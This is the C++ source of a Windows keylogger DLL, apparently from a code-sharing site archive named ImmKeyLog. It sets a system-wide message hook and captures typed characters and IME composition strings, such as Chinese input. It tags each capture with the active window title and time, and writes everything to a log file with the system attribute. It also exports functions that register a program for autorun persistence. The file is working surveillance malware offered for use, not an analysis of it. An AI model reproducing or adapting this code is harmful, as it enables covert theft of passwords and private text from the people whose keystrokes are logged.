www.pudn.com > ImmKeyLog_src_6_26.rar > KeyHookDLL.cpp


// KeyHookDLL.cpp : 定义 DLL 应用程序的入口点。 
// 
//#define __MY_PRINT__		//uncomment this to use myPrint() 
#define SIZE_BUFFER 1000	//key log buffer size 
#define SIZE_WRITE 512		//write log date to disk when buffer reach this size 
#define SIZE_FILENAME 256 
#define SIZE_IMM_BUFFER 100 
 
#include "KeyHookDLL.h" 
#include "VKstring.h" 
#define WIN32_LEAN_AND_MEAN		// 从 Windows 头中排除极少使用的资料 
// Windows 头文件: 
#include  
#include  
#include  
#include "RegEdit.h" 
 
#pragma comment(lib, "Imm32.lib") 
 
#pragma data_seg("shareddata") 
HHOOK hHook				= NULL; 
HINSTANCE hInstance		= NULL; 
HWND hActWnd			= NULL;	//current actived window 
 
static char logBuf[SIZE_BUFFER]			= {0}; 
static char logPath[SIZE_FILENAME]		= {0}; 
static char sLogFileName[SIZE_FILENAME]	= {0}; 
 
static CHAR str[SIZE_IMM_BUFFER]		= {0}; 
static CHAR str2[SIZE_IMM_BUFFER]		= {0}; 
#pragma data_seg() 
 
LRESULT CALLBACK HookProc(int _dwCode,WPARAM wParam,LPARAM lParam); 
 
BOOL WINAPI DllMain( 
					HINSTANCE hinstDLL,  // handle to DLL module 
					DWORD fdwReason,     // reason for calling function 
					LPVOID lpReserved )  // reserved 
{ 
	// Perform actions based on the reason for calling. 
	switch( fdwReason )  
	{  
	case DLL_PROCESS_ATTACH: 
		// Initialize once for each new process. 
		// Return FALSE to fail DLL load. 
		hInstance = hinstDLL; 
		break; 
 
	case DLL_THREAD_ATTACH: 
		// Do thread-specific initialization. 
		break; 
 
	case DLL_THREAD_DETACH: 
		// Do thread-specific cleanup. 
		//if(strlen(logBuf)>0) writeFile(); 
		break; 
 
	case DLL_PROCESS_DETACH: 
		// Perform any necessary cleanup. 
		if(strlen(logBuf)>0) writeFile(); 
		break; 
	} 
	return TRUE;  // Successful DLL_PROCESS_ATTACH. 
} 
 
LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam) 
{ 
	MSG* pMsg; 
	HIMC hImg; 
	HWND hWnd; 
	LONG strLen; 
	const char *pStr; 
	char c; 
	char cc[2]; 
	int size = 0; 
	char * p = NULL; 
 
	LRESULT r = CallNextHookEx(hHook, nCode, wParam, lParam); 
 
	if(nCode == HC_ACTION){ 
		pMsg = (MSG*)(lParam); 
		pStr = NULL; 
		switch(pMsg->message){ 
			case WM_IME_COMPOSITION://imm input 
				//if(lParam != GCS_RESULTSTR) break; 
				hWnd = GetFocus(); 
				hImg = ImmGetContext(hWnd); 
				strLen = ImmGetCompositionString(hImg, GCS_RESULTSTR,NULL,0); 
				if((strLen < 2) || (strLen > SIZE_IMM_BUFFER - 10)) break; 
				SecureZeroMemory(str, SIZE_IMM_BUFFER); 
				strLen = ImmGetCompositionString(hImg, GCS_RESULTSTR, str, strLen); 
				//ImmSetCompositionString(hImg,SCS_SETSTR, NULL, NULL, NULL, 0); 
				ImmReleaseContext(hWnd, hImg); 
				if(lstrcmp(str,str2) == 0) {//same input 
					pStr = NULL; 
					SecureZeroMemory(str2, SIZE_IMM_BUFFER); 
					break; 
				} 
				lstrcpy(str2,str); 
				if(strLen > 0){ 
					pStr = (LPCSTR)str; 
					//MessageBox(NULL, LPCSTR(str), LPCSTR(str), MB_OK); 
					//MessageBox(NULL, pStr, "中文", MB_OK); 
				} 
				break; 
			case WM_KEYUP://log special key 
				pStr = NULL; 
				break;//don't log special key 
				c = char(pMsg->wParam); 
				if(c > 0x30) break; 
				pStr = vk(c); 
				//if(pStr) MessageBox(NULL, pStr,"keyup",MB_OK); 
				break; 
			case WM_CHAR://normal key 
				//MessageBox(NULL,"wm_char","wm_char",MB_OK); 
				if(!IsDBCSLeadByte(char(pMsg->wParam))){ 
					if (wParam & PM_REMOVE){ 
						c = char(pMsg->wParam); 
						switch(c){ 
			case VK_BACK: 
				//pStr = vkstring_back; 
				//delete the last WChar in logBuf 
				size = lstrlen(logBuf); 
				if (logBuf[size - 1] != '\n'){//do not delete after return 
					if(size > 1){		 
						if(IsDBCSLeadByte(logBuf[ size - 2 ]) && 
							IsDBCSLeadByte(logBuf[ size - 1 ])){ 
							logBuf[size - 2] = '\0'; 
						} 
						logBuf[size - 1] = '\0'; 
					}else if( size > 0){ 
						logBuf[size - 1] = '\0'; 
					} 
				} 
				pStr = NULL; 
				break; 
			case VK_RETURN: 
				pStr = vkstring_kreturn; 
				break; 
			case VK_SPACE: 
				pStr = vkstring_space; 
				break; 
			default: 
				cc[0] = c; 
				cc[1] = '\0'; 
				pStr = (const char*)(cc); 
				break; 
						} 
						//MessageBox(NULL,pStr,"WM_CHAR"  ,MB_OK); 
					} 
				} 
				break; 
			default: 
				pStr = NULL; 
				break; 
		} 
		if(pStr != NULL) writeBuf(pStr); 
	} 
	return r; 
} 
 
DllExport void KeyHookDllTest() 
{ 
	//	MessageBox(NULL,"hello","haha",MB_OK); 
	myPrint("\r\nlog_buf:\r\n"); 
	myPrint(logBuf); 
	myPrint("\r\nlogPath:\r\n"); 
	myPrint(logPath); 
	myPrint("\r\nsLogFileName:\r\n"); 
	myPrint(sLogFileName); 
	myPrint("\r\n"); 
} 
 
DllExport void InstallHook() 
{ 
	CTime tm = CTime::GetCurrentTime(); 
	//	MessageBox(NULL,"Install","haha",MB_OK); 
	hHook = SetWindowsHookEx(WH_GETMESSAGE,HookProc,hInstance,NULL); 
	hActWnd = NULL; 
	//SetLogPath("c:\\"); 
	SecureZeroMemory(logBuf,SIZE_BUFFER); 
	wsprintf(logBuf,"\r\nPower ON:%d-%d-%d %d:%d \r\n",tm.GetYear(),\ 
		tm.GetMonth(),tm.GetDay(), tm.GetHour(),tm.GetMinute()); 
	SecureZeroMemory(str, SIZE_IMM_BUFFER); 
	SecureZeroMemory(str2, SIZE_IMM_BUFFER); 
} 
DllExport void UninstallHook() 
{ 
	//	MessageBox(NULL,"Uninstall","haha",MB_OK); 
	if(hHook){ 
		UnhookWindowsHookEx(hHook); 
		hHook = NULL; 
		if(strlen(logBuf)>0) writeFile(); 
	} 
} 
 
DllExport void SetLogPath(CHAR* path) 
{ 
	SecureZeroMemory(logPath, SIZE_FILENAME); 
	SecureZeroMemory(sLogFileName, SIZE_FILENAME); 
	lstrcpy(logPath,path); 
	CTime tm = CTime::GetCurrentTime(); 
	wsprintf(sLogFileName , "%sKey_%d_%d.log" , logPath , tm.GetMonth() , tm.GetDay()); 
	myPrint(sLogFileName); 
} 
DllExport BOOL RegAutoRun(const CHAR* DisplayName , const CHAR* FullPathName) 
{ 
	return AddAutoRun(DisplayName , FullPathName); 
} 
 
DllExport BOOL DelAutoRun(const CHAR* DisplayName) 
{ 
	return DeleteAutoRun(DisplayName); 
} 
 
static const char * vk(char c) 
{ 
	const char *pStr = NULL; 
	switch(c){ 
		case VK_NEXT: 
			pStr = vkstring_pgdown; 
			break; 
		case VK_PRIOR: 
			pStr = vkstring_pgup; 
			break; 
		case VK_CAPITAL: 
			pStr = vkstring_capslock; 
			break; 
		case VK_HOME: 
			pStr = vkstring_home; 
			break; 
		case VK_END: 
			pStr = vkstring_kend; 
			break; 
		case VK_INSERT: 
			pStr = vkstring_insert; 
			break; 
		case VK_DOWN: 
			pStr = vkstring_down; 
			break; 
		case VK_UP: 
			pStr = vkstring_up;  
			break; 
		case VK_LEFT: 
			pStr = vkstring_left; 
			break; 
		case VK_RIGHT: 
			pStr = vkstring_right; 
			break; 
		case VK_TAB: 
			pStr = vkstring_tab; 
			break; 
		case VK_ESCAPE: 
			pStr = vkstring_kesc; 
			break; 
		case VK_SNAPSHOT: 
			pStr = vkstring_printscreen; 
			break; 
		case VK_MENU: 
			pStr = vkstring_alt; 
			break; 
			//case VK_CONTROL: 
			pStr = vkstring_ctrl; 
			break; 
		case VK_DELETE: 
			pStr = vkstring_delete; 
			break; 
		default: 
			pStr = NULL; 
			break; 
	} 
	return pStr; 
} 
 
static void writeBuf(const char * pStr) 
{ 
	myPrint(pStr); 
	int len = 0; 
	char sTitle[SIZE_FILENAME]; 
	char sFormatedTitle[300]; 
	CTime tm; 
	HWND hWnd; 
 
	if(pStr == NULL) return; 
 
	len = lstrlen(pStr); 
	if((len < 1) || (len > SIZE_IMM_BUFFER)) return; 
	hWnd = GetActiveWindow(); 
 
	if(hWnd != hActWnd){ 
		//Capture a new window 
		hActWnd = hWnd; 
		tm = CTime::GetCurrentTime(); 
		SecureZeroMemory(sTitle, SIZE_FILENAME); 
		GetWindowText(hActWnd, sTitle, SIZE_FILENAME); 
		wsprintf(sFormatedTitle, keylogformat, sTitle, \ 
			tm.GetYear(), tm.GetMonth(),tm.GetDay(),\ 
			tm.GetHour(),tm.GetMinute()); 
		lstrcat(logBuf,sFormatedTitle); 
		writeFile();//clear buffer before log a new window 
	} 
 
	if(lstrlen(logBuf) > SIZE_WRITE) writeFile(); 
	lstrcat(logBuf,pStr); 
	return; 
} 
 
static void writeFile() 
{ 
	int len = 0; 
	HANDLE hlogKeyFile; 
	DWORD size = 0; 
 
	myPrint("\r\nWriteFile:"); 
	myPrint(sLogFileName); 
	myPrint("\r\n"); 
	myPrint(logBuf); 
 
	hlogKeyFile = CreateFile(sLogFileName,GENERIC_WRITE,FILE_SHARE_READ,\ 
		NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL); 
	SetFilePointer(hlogKeyFile,0,NULL,FILE_END); 
	SetEndOfFile(hlogKeyFile); 
	len = lstrlen(logBuf); 
	WriteFile(hlogKeyFile, logBuf, len ,&size, NULL); 
	CloseHandle(hlogKeyFile); 
 
	SecureZeroMemory(logBuf,SIZE_BUFFER);//clear buffer after write 
	return; 
} 
 
static void myPrint(LPCTSTR str) 
{ 
#ifdef __MY_PRINT__ 
	const char maintitle[] = "无标题 - 记事本"; 
	HWND h = FindWindow(NULL,maintitle); 
	if(h) SendDlgItemMessage(h,0xf,EM_REPLACESEL,0,LPARAM(str) ); 
	return; 
#else 
	return; 
#endif 
}